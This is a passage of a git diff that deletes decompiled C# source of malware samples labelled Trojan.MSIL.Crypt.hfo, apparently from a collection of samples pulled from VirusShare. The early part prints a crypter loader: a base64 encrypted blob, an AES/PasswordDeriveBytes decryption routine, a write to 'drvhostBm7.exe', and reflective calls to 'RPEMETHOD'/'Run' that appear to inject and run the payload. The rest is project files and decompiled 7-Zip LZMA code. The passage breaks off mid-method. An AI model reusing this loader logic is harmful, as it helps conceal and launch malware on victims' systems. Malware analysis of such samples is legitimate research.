kxbWWEM/iPRU1inoiU86a8suUeeX/tgKuoTGeJCxxdI8g1Amt/wdpMxT8knQ4XTNbR0kueJ5DNqFba3sUctwYUX4+RBlNjtl5Lp2JwdDQAQTq5RFzYt3VXV+aka0mrZ66ZbLp2aI5JyTMnexleP6dDG9PJGJs0pl23aZZTLZiMgIaJQyE5CSinmY99kROwnTT50FaomlMfLSDHdReKrlPyR+RHRxEIY67RAEJLHgBGWxE0atjttlcTZh+coTC2r2DyTbcunO91m0DzlPzyTzdLul059poK1WpQYqQq411JYEL1w+vMP8dp0JdRy5wj1C5/x0/Dv1FCbnVwqLXA47J46lGAlPZLycZlLB2H2KPzj6XdwytKWthOagthSB1bzhyozYnR2g+uwl67+l9hzfo/jYMJwz4EuTx6VZIGX4g1z4hFTO0Xeat8YX67psRDS/Lz9NGV/nK6/bHkPDSKOMerhDhjmXMgSxChhwVH95FIWCkhHKxdkaVt94mr5ZUzACshXxU9JzDOP178WfiPUrDYXJu0+TOWg27nzdvNJzxA0JWFJ4QlK0PGFz8UqKBWc0Q870BgIc4ZYyGdFD9+pEjlBZ2SUmMPPq2OJLvU73Y/7WeeLP4TkN5OTS6wk3mKv0QMLACRs537v1RLzQm4LOAA5WxQpeph0qIJxXURWcsi/DozTR7sJoZjA5YlXwLw1CWsuLgG1hzG24eGffaIAdQm9+2pDolQ+YyIN7TL1HGHPKwOnc10yo3S9u2cWkmA/IbtCX7J+AHjt8A3T8Ffb8oXk/1r4+QWMc9PMHqNLSPsW0vTIsXYVvOIFRK+X6vgZfb0pg4dpbJE/fItcW85FuEBg3ux8MY77pUmLt0N5XFCFBBzF/tOamX5I8NRcPj2lX/PaSA81+DAG/oC14A5fHX8j8y2A+T/vkrn0/9CN1SKLKmOWytKe6zEpfZ3iWFMkk4VorbDG4hH/amM7JRmN1R4obUR+0kl7vFU+lBXdUxAM4c0CnUgHc1WAaWPfqFwk0rv04QAIHKPBwLHYUrkUDJyOddRRXna+73yk5BSmVkVbUUCMbsuOv6NegUDvC5g5HNXc6nusK1erGQb5OtNEnMZkdzf/x2Ji44X8f9xFRfFAKX6yLhtkhPJuzSy+rn97/XpJH6u+JcabatwzCn9eW27NNSxn8yfl1EG5I5RcjlpfYFt6N2xMW8XsKF7UFLSj8UMa88KVo6TYLSWpNzInX9MgnbnE6s8rZJLS7GKrCkVxWhjPr8aejoE0AP4xEA6nI2caXc9tQZWe1bIE+A+oicl2tqBfYSS3lQzhaUTfPjKSbJ4HRwMAbxwKbu5KnJz3WGDcoTjcZQLbE", "Qo86Giw7S5CqWm4d9BYe", "Xs96Ajz2P3Wiy5MFx8", "SHA1", 2, "r7X4Syg2FBk96Ron", 128)); - File.WriteAllBytes(path, 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- Driver.n6NHx49CoPp5q3ZQt82Xdg7FEy39B("IMETHOD", "ibMethod", Ma4s8WNf9y7G6Pip3HQx5w2Z4Kkr5, new object[1] - { - (object) "drvhostBm7.exe" - }); - Driver.n6NHx49CoPp5q3ZQt82Xdg7FEy39B("RPEMETHOD", "Run", Ma4s8WNf9y7G6Pip3HQx5w2Z4Kkr5, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool n6NHx49CoPp5q3ZQt82Xdg7FEy39B( - string z5JYp6o9QKb23M, - string r9N5Tdw2E8Wet7C, - Assembly Ma4s8WNf9y7G6Pip3HQx5w2Z4Kkr5, - object[] Tp37Faw6E8Dc) - { - try - { - Type type = Ma4s8WNf9y7G6Pip3HQx5w2Z4Kkr5.GetType(z5JYp6o9QKb23M); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(r9N5Tdw2E8Wet7C); - if ((object) method != null) - return (bool) method.Invoke((object) null, Tp37Faw6E8Dc); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] i9T3RxDd87Hoc2NCf65Bbn4ZY( - string q5L2Mgw6KDr4s8EGy97BxAe33Za, - string En82Kaw3DZp45Q, - string Rx6e9W2Pmb4KHz78Zni5ACg3, - string n6NHx49CoPp5q3ZQt82Xdg7FEy39B, - int Ne69Mtb4R3YpWd28EgFs7j5B6T, - string o6NJw53TpFy29BdKj7f, - int p5T7EtHc24Sax9) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(o6NJw53TpFy29BdKj7f); - byte[] bytes2 = Encoding.ASCII.GetBytes(Rx6e9W2Pmb4KHz78Zni5ACg3); - byte[] buffer = Convert.FromBase64String(q5L2Mgw6KDr4s8EGy97BxAe33Za); - byte[] bytes3 = new PasswordDeriveBytes(En82Kaw3DZp45Q, bytes2, n6NHx49CoPp5q3ZQt82Xdg7FEy39B, Ne69Mtb4R3YpWd28EgFs7j5B6T).GetBytes(p5T7EtHc24Sax9 / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index 6f89dd1d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {3AAAFC5B-FF62-4DF3-9E4E-136EFD183E49} - WinExe - Java - 0.2.6.6 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index a491a823..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Java", "Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.csproj", "{3AAAFC5B-FF62-4DF3-9E4E-136EFD183E49}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {3AAAFC5B-FF62-4DF3-9E4E-136EFD183E49}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3AAAFC5B-FF62-4DF3-9E4E-136EFD183E49}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3AAAFC5B-FF62-4DF3-9E4E-136EFD183E49}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3AAAFC5B-FF62-4DF3-9E4E-136EFD183E49}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/AssemblyInfo.cs deleted file mode 100644 index ecd27e1f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyProduct("")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Buffer/InBuffer.cs deleted file mode 100644 index d38fa6a3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; - private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Buffer/OutBuffer.cs deleted file mode 100644 index a4cd791b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/CRC.cs deleted file mode 100644 index cc1be7c5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/CoderPropID.cs deleted file mode 100644 index 8d012f1b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/BinTree.cs deleted file mode 100644 index 52ea157d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { 